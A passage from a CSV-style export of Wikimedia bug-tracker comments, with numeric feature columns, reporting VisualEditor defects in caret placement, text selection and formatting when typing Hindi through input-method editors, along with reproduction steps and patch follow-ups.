3 Input: agar[SPACE] Expected output: अगर[SPACE]
3.1 The output अगर appears, but the space doesn't.
3.1.1 Point to note: Per the hi transliteration rules in ULS agar itself gives अगर् i.e there is a viram ् (U+094D) at the end. ULS removes this when a space is input, i.e pressing space causes the removal of viram as well as the addition of space (this behaviour is the fix for bug 35990 ). So ULS is recognizing the space and removing the viram, but the space itself is getting lost somwehere between ULS and VE.
3.1.2 Copying the text node text from within the chrome console and pasting in an external text editor showed the text to be prefixed by U+FEFF (ZERO WIDTH NO-BREAK SPACE)
3.1.2 This text is not navigable using the left or right arrow keys.
3.1.3 The text also cannot be copied. It can be selected manually with the mouse, but copying it is not possible. Pasting the selected text in an external editor showed nothing, as if no text had been selected. Tried copying using both the Ctrl+C keyboard shortcut and the right-click menu.
3.4 Another space press is recognized. However, VE seems to treat this as the first input character.
3.4.1 The original text disappears, replaced by the space. ( bug 53705 )
3.4.2 The formatting dropdown shows the formatting to be paragraph.

To my noobish eye, it appears that if VE was told to consider the default formatting to be paragraph (i.e no blank formatting dropdown in the beginning) OR VE considered any text input without a formatting dropdown value to be paragraph, ULS input disappearing would stop (I'm guessing this since once the formatting is set to paragraph, the text doesn't seem to disappear.)

NOTE 1: This bug is starting to look a lot like a catchall to me, with automatic caret movement, incorrect formatting in the dropdown, non-detection of ULS input by VE, and what not. Feel free to file separate bugs where you find them necessary (or tell me which ones need to be filed separately, I'll be glad to help).

NOTE 2: I reported this bug (along with a bunch of other related bugs) editing on a blank page so as to minimize bugs interfering with each-other and to have the simplest possible steps to reproduce the problem. However, I think that some of these may be applicable even on non-blank pages. Do I need to separately test the issues for non-blank pages and report the behaviour in these bugs (or are the current reports sufficient)?

NOTE 3: I'm also ending up with a bunch of js console errors from VE, but I haven't checked exactly which step causes them. I'' try to reproduce them and let you know."
234737,VisualEditor: Incorrect and irremovable text placement with IMEs,"Thanks for specifying the exact keystrokes -- it really helps!

There's a specific input issue when the whole page is blank (whether or not an input method is used, i.e. even if you just type ASCII characters).

Could you please try typing some text on the following page, under the words ""Testing Area"":

  https://www.mediawiki.org/w/index.php?title=Project:Sandbox&veaction=edit

Then click ""Save Page"" and ""Review your changes"", and see whether the text appears correctly in the right-hand version. (After that, you can cancel the edit without saving).

I can type देवनागरी (""devnagrI"" using my Ibus Hindi phonetic IME) there, and it appears correctly.",,,1379514033,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.5,0.0,0.0,0.5,0.5,4.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,1.5,0.5,5.5,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,1.0,1.5,0.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,1.0,10.5,2.5,3.0,6.5,0.0,0.0,0.5,0.0,4.5,0.5,0.0,0.0,5.5,5.5,5.5,0.0,5.5,0.0,5.5,0.0,0.5,1.0,0.0,2.5,0.0,0.0,0.5,3.76993006993007,0.7780885780885781,"Thanks for specifying the exact keystrokes -- it really helps!

There's a specific input issue when the whole page is blank (whether or not an input method is used, i.e. even if you just type ASCII characters).

Could you please try typing some text on the following page, under the words ""Testing Area"":

  URL

Then click ""Save Page"" and ""Review your changes"", and see whether the text appears correctly in the right-hand version. (After that, you can cancel the edit without saving).

I can type देवनागरी (""devnagrI"" using my Ibus Hindi phonetic IME) there, and it appears correctly."
234733,VisualEditor: Incorrect and irremovable text placement with IMEs,"The behaviour has also changed for the input described in Comment 1

Test at hindi wikipedia:
Test url:
https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit

Input:
agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]

Output:
Fine except the newline never appears, no matter how many times the return key is pressed. The newline does not appear even when google input tools are disabled and the keyboard switched back to English (United States). The formatting dropdown is blank. The text is non-navigable ( bug 53711 ). However, pressing the left and right arrow keys a bunch of times and then pressing the return key still causes the text to be replaced with a newline followed by ♙

Test at Mediawiki.org:
Test url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

The behaviour with google input tools seems to be correct with the newline being placed correctly, and the text being navigable.",,,1379511359,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.5,0.0,0.0,1.5,0.5,6.5,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,7.0,7.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.5,11.5,1.5,2.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,7.5,7.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,4.221990740740741,0.7326388888888888,"The behaviour has also changed for the input described in Comment 1

Test at hindi wikipedia:
Test url:
URL

Input:
agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]

Output:
Fine except the newline never appears, no matter how many times the return key is pressed. The newline does not appear even when google input tools are disabled and the keyboard switched back to English (United States). The formatting dropdown is blank. The text is non-navigable ( bug 53711 ). However, pressing the left and right arrow keys a bunch of times and then pressing the return key still causes the text to be replaced with a newline followed by ♙

Test at Mediawiki.org:
Test url:
URL

The behaviour with google input tools seems to be correct with the newline being placed correctly, and the text being navigable."
234729,VisualEditor: Incorrect and irremovable text placement with IMEs,"(In reply to comment #3)
> There's code to address this bug in the following patch, which is due to go
> live by mediawiki.org on 13 September 2013:
> 
> https://gerrit.wikimedia.org/r/#/c/82858/
> 
> Please let us know whether it fixes the bug!

The patch doesn't fix the bug. The behaviour has changed, however, and on first look it appears to be for the worse.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Input and expected output:
Same as in comment 0

Test at hindi wikipedia:
Test url:
https://hi.wikipedia.org/wiki/%E0%A4%B8%E0%A4%A6%E0%A4%B8%E0%A5%8D%E0%A4%AF:Siddhartha_Ghai/sandbox?veaction=edit

What actually happens: (is too weird to be explained without prose)
1. After inputting 2 newlines, as soon as a is pressed, VE shows input of अ but one line above the current line, i.e caret automatically moves from line 3 to line 2.
2. Further inputting gar[SPACE] makes bug 53706 to show up, ie we have अगर[SPACE] in the second line with the space and newline selected, and the formatting dropdown having blanked.
3. Then inputting m makes म् appear, but its in the next line, i.e line three.
4. The caret has also moved back to line three ahead of it.
5. Then, when the final a is input, the अगर[SPACE] in line two changes to अग with the र[SPACE] having moved to the beginning of line three followed by म . The text in line three is irremovable.

Test at Mediawiki.org:
Test url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

Firstly the page is blanked and the formatting reset to paragraph. The input described in Comment 0 is then done.

What actually happens:
Step 1-5 same as hindi wikipedia.
Following this, after a (noticeable) fraction of a second, the text र[SPACE]म appears in the first line and the newline between lines 1 and 2 is selected.
Caret movement is weird. When caret is at the end of the text (i.e end of third line), pressing a left arrow key takes it straight to the beginning of the second line. A right arrow keypress takes the caret back to end of third line. This effectively means that the text in lines two and three is non-navigable ( bug 53711 ). Pressing a backspace at the end of the third line removes the entire second line text, taking the caret to the second line. The first line is both navigable and removable. The third line text however, is irremovable.",,,1379510564,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,0.2,7.0,1.6,0.0,0.0,0.0,3.0,0.2,0.0,0.0,0.0,0.2,0.4,4.6,10.2,0.0,1.0,0.0,0.2,0.0,0.2,0.4,0.0,0.4,0.0,0.0,0.2,5.8,0.8,0.8,1.0,0.0,0.6,0.0,0.2,0.6,0.0,0.0,0.0,0.8,0.0,0.6,0.0,0.0,0.2,16.0,0.2,0.2,0.2,0.0,0.0,0.2,0.0,0.8,0.4,0.6,0.2,0.6,0.0,0.0,0.0,0.0,0.0,8.4,2.8,9.0,0.6,2.2,9.2,0.0,0.0,0.0,0.2,1.6,0.0,4.8,0.0,1.0,10.2,5.0,0.0,0.0,0.0,1.0,0.0,0.8,1.4,0.0,2.2,0.2,0.0,1.4,3.626086956521739,0.6366220735785953,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The patch doesn't fix the bug. The behaviour has changed, however, and on first look it appears to be for the worse.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Input and expected output:
Same as in comment 0

Test at hindi wikipedia:
Test url:
URL

What actually happens: (is too weird to be explained without prose)
1. After inputting 2 newlines, as soon as a is pressed, VE shows input of अ but one line above the current line, i.e caret automatically moves from line 3 to line 2.
2. Further inputting gar[SPACE] makes bug 53706 to show up, ie we have अगर[SPACE] in the second line with the space and newline selected, and the formatting dropdown having blanked.
3. Then inputting m makes म् appear, but its in the next line, i.e line three.
4. The caret has also moved back to line three ahead of it.
5. Then, when the final a is input, the अगर[SPACE] in line two changes to अग with the र[SPACE] having moved to the beginning of line three followed by म . The text in line three is irremovable.

Test at Mediawiki.org:
Test url:
URL

Firstly the page is blanked and the formatting reset to paragraph. The input described in Comment 0 is then done.

What actually happens:
Step 1-5 same as hindi wikipedia.
Following this, after a (noticeable) fraction of a second, the text र[SPACE]म appears in the first line and the newline between lines 1 and 2 is selected.
Caret movement is weird. When caret is at the end of the text (i.e end of third line), pressing a left arrow key takes it straight to the beginning of the second line. A right arrow keypress takes the caret back to end of third line. This effectively means that the text in lines two and three is non-navigable ( bug 53711 ). Pressing a backspace at the end of the third line removes the entire second line text, taking the caret to the second line. The first line is both navigable and removable. The third line text however, is irremovable."
234724,VisualEditor: Incorrect and irremovable text placement with IMEs,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943038,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
234719,VisualEditor: Incorrect and irremovable text placement with IMEs,This bug was also seen when VE testing revealed Bug 53711,,,1378218621,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,27.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,This bug was also seen when VE testing revealed Bug 53711
234711,VisualEditor: Incorrect and irremovable text placement with IMEs,"This bug (or a variant of it) seems to happen when using Google input tools for hindi.

Steps to reproduce:
Open a blank page
Edit it in VE
Enable google input tools IME
Type something. example keystrokes: agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]

Expected output:
The text is typed(exact output text would depend on the IME's translation memory, macros used etc.) with a newline at the end and the cursor (caret) in the newline.

Actual output:
The text is typed correctly, the newline is also placed, but the cursor remains in the first line. The formatting dropdown of the VE toolbar is blank. It changes back to paragraph on pressing either the right or left arrow key (haven't tested with any other key).

Pressing the return key again causes the newline to disappear while the text remains (variant of Bug 53705 ?). The same behaviour (correctly) takes place on pressing the delete key.

Possibly different bug: When at the end of the first line, pressing the left/right arrow keys a bunch of times and then pressing the return key made me somehow end up with ♙ as the only text and all the input text gone.

Also note that this bug doesn't seem to appear when using the native windows input devanagari-INSCRIPT",,,1378214611,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,9,,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,5.0,9.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,0.6666666666666666,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,20.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.3333333333333333,8.666666666666666,1.6666666666666667,2.3333333333333335,11.333333333333334,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,1.3333333333333333,9.0,4.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,1.0,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,0.6666666666666666,3.9883720930232562,0.7325581395348837,"This bug (or a variant of it) seems to happen when using Google input tools for hindi.

Steps to reproduce:
Open a blank page
Edit it in VE
Enable google input tools IME
Type something. example keystrokes: agar[SPACE]main[SPACE]kahoon[SPACE][RETURN KEY]

Expected output:
The text is typed(exact output text would depend on the IME's translation memory, macros used etc.) with a newline at the end and the cursor (caret) in the newline.

Actual output:
The text is typed correctly, the newline is also placed, but the cursor remains in the first line. The formatting dropdown of the VE toolbar is blank. It changes back to paragraph on pressing either the right or left arrow key (haven't tested with any other key).

Pressing the return key again causes the newline to disappear while the text remains (variant of Bug 53705 ?). The same behaviour (correctly) takes place on pressing the delete key.

Possibly different bug: When at the end of the first line, pressing the left/right arrow keys a bunch of times and then pressing the return key made me somehow end up with ♙ as the only text and all the input text gone.

Also note that this bug doesn't seem to appear when using the native windows input devanagari-INSCRIPT"
55707,VisualEditor: Reset title opacity on API call failure,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Let the API call for the parsed json output fail
VE asks if you would like to retry, press Cancel

Expected behaviour:
VE should reset the opacity for the title and sitesub back to 1 from 0.6

Actual behaviour:
Opacity is not changed, leaving it 0.6 although the user is effectively reading the article, not editing it with VE

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378211220,1402329926.0,PHID-USER-4bjsher5mqcoikeqnnec,False,,False,PHID-TASK-jvygvcsdp3dse45vpayw,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,7.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,1.5,1.0,5.0,0.0,0.0,0.0,0.0,5.5,0.0,3.5,0.0,3.0,7.0,5.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,3.8540532365396247,0.7124924379915305,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Let the API call for the parsed json output fail
VE asks if you would like to retry, press Cancel

Expected behaviour:
VE should reset the opacity for the title and sitesub back to 1 from 0.6

Actual behaviour:
Opacity is not changed, leaving it 0.6 although the user is effectively reading the article, not editing it with VE

--------------------------
**Version**: unspecified
**Severity**: normal"
234659,VisualEditor: Reset title opacity on API call failure,I believe we fixed this a few months ago; sorry for the slow triage.,,,1402329753,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvygvcsdp3dse45vpayw,task_subcomment,,True,c1,3,True,,,49,,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4375,1.0,I believe we fixed this a few months ago; sorry for the slow triage.
55706,VisualEditor: Incorrect text selection with jquery.IME,"Screenshot of selection error

System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input:
[RETURN/ENTER KEY]x4 (four newlines)
agar[SPACE]

Expected output:
[NEWLINE]x4 (four newlines)
अगर[SPACE]

no text selection should be there

Actual output:
[NEWLINE]x4 (four newlines)
अगर[SPACE]

the ending [SPACE] is selected with a newline. Also, the toolbar shows that VE has somehow jumped to changing the formatting to bulleted and numbered list from the original paragraph formatting.

Further, pressing a backspace deletes not only the selected space/newline, but also the typed text अगर. I think this is Bug 53705 though I may be wrong.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53700

**Attached**: {F11150}",Medium,50.0,1378210380,1453749345.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ejote3xjqqm7riq7xqwf,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.5,0.5,4.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,1.0,1.0,3.5,4.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,2.0,17.5,1.0,1.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.5,4.5,8.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,4.5,3.808080808080808,0.6161616161616161,"Screenshot of selection error

System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input:
[RETURN/ENTER KEY]x4 (four newlines)
agar[SPACE]

Expected output:
[NEWLINE]x4 (four newlines)
अगर[SPACE]

no text selection should be there

Actual output:
[NEWLINE]x4 (four newlines)
अगर[SPACE]

the ending [SPACE] is selected with a newline. Also, the toolbar shows that VE has somehow jumped to changing the formatting to bulleted and numbered list from the original paragraph formatting.

Further, pressing a backspace deletes not only the selected space/newline, but also the typed text अगर. I think this is Bug 53705 though I may be wrong.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11150}"
596668,VisualEditor: Incorrect text selection with jquery.IME,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
234620,VisualEditor: Incorrect text selection with jquery.IME,"Further testing Comment 3 seems to indicate that the newline selection happens when the last input is a consonant followed by a halant which can be input with one keystroke.

The hindi transliteration IME inputs two characters whenever an ASCII consonant is input, the equivalent hindi consonant followed by the halant character ् (U+094D)

So inputting g gives ग् i.e ग + ् , j gives ज् i.e ज + ् etc. with the newline selected.

Some hindi consonants, however, need two keystrokes to be input. So gh gives घ् i.e घ + ् and jh gives झ् i.e झ + ् etc. Output for these depends on the input speed. If one is quick, the text is input correctly with no selection. However, if one is slow, Bug 54421 shows up with the grapheme containing the duplicated text at the beginning of the article being selected.

This selection (or non-selection) behaviour takes place regardless of whether the input is one consonant or a word. The behaviour depends on what the last consonant is, one that can be input with one keystroke or one that is input with two keystrokes.",,,1379766638,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,8.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,7.333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,15.666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,7.333333333333333,4.666666666666667,5.333333333333333,2.0,2.6666666666666665,9.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,4.333333333333333,0.0,0.0,8.0,6.666666666666667,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.3333333333333333,0.0,1.0,0.0,0.0,1.3333333333333333,4.0026636225266365,0.7001522070015219,"Further testing Comment 3 seems to indicate that the newline selection happens when the last input is a consonant followed by a halant which can be input with one keystroke.

The hindi transliteration IME inputs two characters whenever an ASCII consonant is input, the equivalent hindi consonant followed by the halant character ् (U+094D)

So inputting g gives ग् i.e ग + ् , j gives ज् i.e ज + ् etc. with the newline selected.

Some hindi consonants, however, need two keystrokes to be input. So gh gives घ् i.e घ + ् and jh gives झ् i.e झ + ् etc. Output for these depends on the input speed. If one is quick, the text is input correctly with no selection. However, if one is slow, Bug 54421 shows up with the grapheme containing the duplicated text at the beginning of the article being selected.

This selection (or non-selection) behaviour takes place regardless of whether the input is one consonant or a word. The behaviour depends on what the last consonant is, one that can be input with one keystroke or one that is input with two keystrokes."
234616,VisualEditor: Incorrect text selection with jquery.IME,Note: Comment 3 is ofcourse with ULS IME hindi transliteration enabled.,,,1379764673,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6923076923076925,1.0,Note: Comment 3 is ofcourse with ULS IME hindi transliteration enabled.
234612,VisualEditor: Incorrect text selection with jquery.IME,"Screenshot for comment 3

**Attached**: {F11151}",,,1379764061,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.7857142857142857,"Screenshot for comment 3

**Attached**: {F11151}"
234605,VisualEditor: Incorrect text selection with jquery.IME,"Per https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c8 the following report is for the bug behaviour when tested on a page with pre-existing text:

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit

Steps:
Take a caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there.)
Input ag

Expected output:
अग्

Actual output:
अग् but with the newline after it selected, although the newline or space wasn't typed in this edit and existed previously.",,,1379763646,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ejote3xjqqm7riq7xqwf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,1.0,4.0,0.5,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,8.0,1.5,9.5,1.5,2.5,9.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,1.0,9.0,6.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,3.758928571428571,0.7678571428571428,"Per URL the following report is for the bug behaviour when tested on a page with pre-existing text:

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

Steps:
Take a caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there.)
Input ag

Expected output:
अग्

Actual output:
अग् but with the newline after it selected, although the newline or space wasn't typed in this edit and existed previously."
234598,VisualEditor: Incorrect text selection with jquery.IME,"(In reply to comment #1)
> There's code to address this bug in the following patch, which is due to go
> live by mediawiki.org on 13 September 2013:
> 
> https://gerrit.wikimedia.org/r/#/c/82858/
> 
> Please let us know whether it fixes the bug!

The patch doesn't fix the bug.

System environment:
Win 7 X64 SP1
